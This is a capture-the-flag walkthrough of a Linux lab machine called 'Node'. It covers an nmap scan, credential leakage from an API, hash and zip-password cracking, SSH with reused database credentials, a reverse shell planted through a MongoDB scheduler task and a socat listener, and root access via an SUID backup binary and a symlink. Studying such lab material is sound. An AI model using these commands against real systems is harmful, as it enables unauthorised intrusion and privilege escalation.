Difficulty Rating:

Machine: Node
OS: Linux
Target IP:

  • Nmap
$ nmap -A -Pn -oN node_nmap.txt -v
Nmap scan report for
Host is up (0.19s latency).
Not shown: 998 filtered ports
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)
3000/tcp open  http    Node.js Express framework
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Visiting lands us on login page.
  • Password bruteforce and SQLi doesn’t work.
  • I started Burp Suite and enabled the intercept. When I visited, I saw a GET request to /api/users/latest.


  • Upon visiting, I found username and password for some user, but none of them were admins.


  • So I thought I should check Luckily I found user with Admin privileges.


  • Got the creds:
    • Username : myP14ceAdm1nAcc0uNT
    • Password : manchester
  • Password is SHA256 hash. I used http://md5decrypt.net/en/Sha256 link to get the password from the hash.
  • Let’s login using the above creds!
  • After logging in we find a backup file for download.


  • Downloaded backup file contains a base64 encoded data with file name myplace.backup.
  • Let’s decode it and transfer it in a file
    $ base64 -d myplace.backup > backup
  • After running file utility on backup, we understand it’s a zip file. I then renamed backup to backup.zip.
  • The zip file is protected with password. Let’s use fcrackzip utility to crack the password.
$ fcrackzip -D -v -u -p /usr/share/wordlists/rockyou.txt backup.zip
'var/www/myplace/' is not encrypted, skipping
found file 'var/www/myplace/package-lock.json', (size cp/uc   4404/ 21264, flags 9, chk 0145)
'var/www/myplace/node_modules/' is not encrypted, skipping
'var/www/myplace/node_modules/serve-static/' is not encrypted, skipping
found file 'var/www/myplace/node_modules/serve-static/README.md', (size cp/uc   2733/  7508, flags 9, chk 1223)
found file 'var/www/myplace/node_modules/serve-static/index.js', (size cp/uc   1640/  4533, flags 9, chk b964)
found file 'var/www/myplace/node_modules/serve-static/LICENSE', (size cp/uc    697/  1189, flags 9, chk 1020)
found file 'var/www/myplace/node_modules/serve-static/HISTORY.md', (size cp/uc   2625/  8504, flags 9, chk 35bd)
found file 'var/www/myplace/node_modules/serve-static/package.json', (size cp/uc    868/  2175, flags 9, chk 0145)
'var/www/myplace/node_modules/utils-merge/' is not encrypted, skipping
found file 'var/www/myplace/node_modules/utils-merge/README.md', (size cp/uc    344/   634, flags 9, chk 9f17)
found file 'var/www/myplace/node_modules/utils-merge/index.js', (size cp/uc    219/   381, flags 9, chk 9e03)
8 file maximum reached, skipping further files

PASSWORD FOUND!!!!: pw == magicword
  • After unzipping the backup.zip file, we get var directory which consists many files.
  • After checking those files for sometime, I found something interesting in var/www/myplace/app.js file.
  • In the file, on line number 11, the code is trying to connect to a database with mark as user and 5AYRft73VtFpc84k as password.
const url = 'mongodb://mark:[email protected]:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

  • So let’s try to ssh with the following creds:
    • Username : mark
    • Password : 5AYRft73VtFpc84k
  • Unfortunately, user.txt is not stored in mark’s directory, it is stored in tom’s directory. So we need to escalate privileges to tom.
  • After a lot of enumeration, when I was checking the output of ps command, I found that the user tom is running /var/scheduler/app.js
$ ps -elf | grep tom
4 S tom       1219     1  0  80   0 - 252398 -     01:35 ?        00:00:05 /usr/bin/node /var/scheduler/app.js
  • After looking at the contents of /var/scheduler/app.js, I got that it is accessing a database called scheduler, with the collection named tasks and executing a command with key cmd.
  • Let’s connect to mongodb with creds:
    • User : mark
    • Password : 5AYRft73VtFpc84k
    • Database: scheduler
[email protected]:~$ mongo -u 'mark' -p '5AYRft73VtFpc84k' scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> db.tasks.find()
> db.tasks.insertOne({'cmd': 'python /dev/shm/tcp_pty_backconnect.py'});
        "acknowledged" : true,                 
        "insertedId" : ObjectId("59e43b449610b1692685a184")                                    
> db.tasks.find()
{ "_id" : ObjectId("59e43b449610b1692685a184"), "cmd" : "python /dev/shm/tcp_pty_backconnect.py" }
  • I created a Reverse TCP shell and put it in /dev/shm
  • Listen on a port using socat/nc
$ socat file:`tty`,raw,echo=0 tcp-listen:8989
  • In few seconds you get shell back as user tom.
  • Get user.txt from /home/tom/.
  • After some enumeration, I found that there’s an SUID binary with name backup
$ find / -user root -perm -4000 -exec ls -ld {} \; 2> /dev/null
-rwsr-xr-- 1 root admin 16484 Sep  3 11:30 /usr/local/bin/backup
  • To execute the binary, we need the backup_key.
  • Recall we had a backup folder downloaded. In var/www/myplace/app.js there’s a backup_keyand on line 202, there’s shown how to execute backup.
// Line 12
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

// Line 202
 if (req.session.user && req.session.user.is_admin) {       
   var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
   var backup = '';
  • Let’s try to get backup of /root
$ /usr/local/bin/backup -q '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474' /root
  • The output is a base64 encoded string, which if decoded shows a troll face.
  • Let’s try to create a symlink and get its backup.
/dev/shm$ mkdir test
/dev/shm$ ln -s /root test
/dev/shm$ /usr/local/bin/backup -q '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474' /dev/shm/test
  • We get a base64 encoded string again, which if decoded is a zip file. Let’s unzip it with the same password magicword.
  • We find contents of /root with /root/root.txt.
User and root owned!!

Share the fun!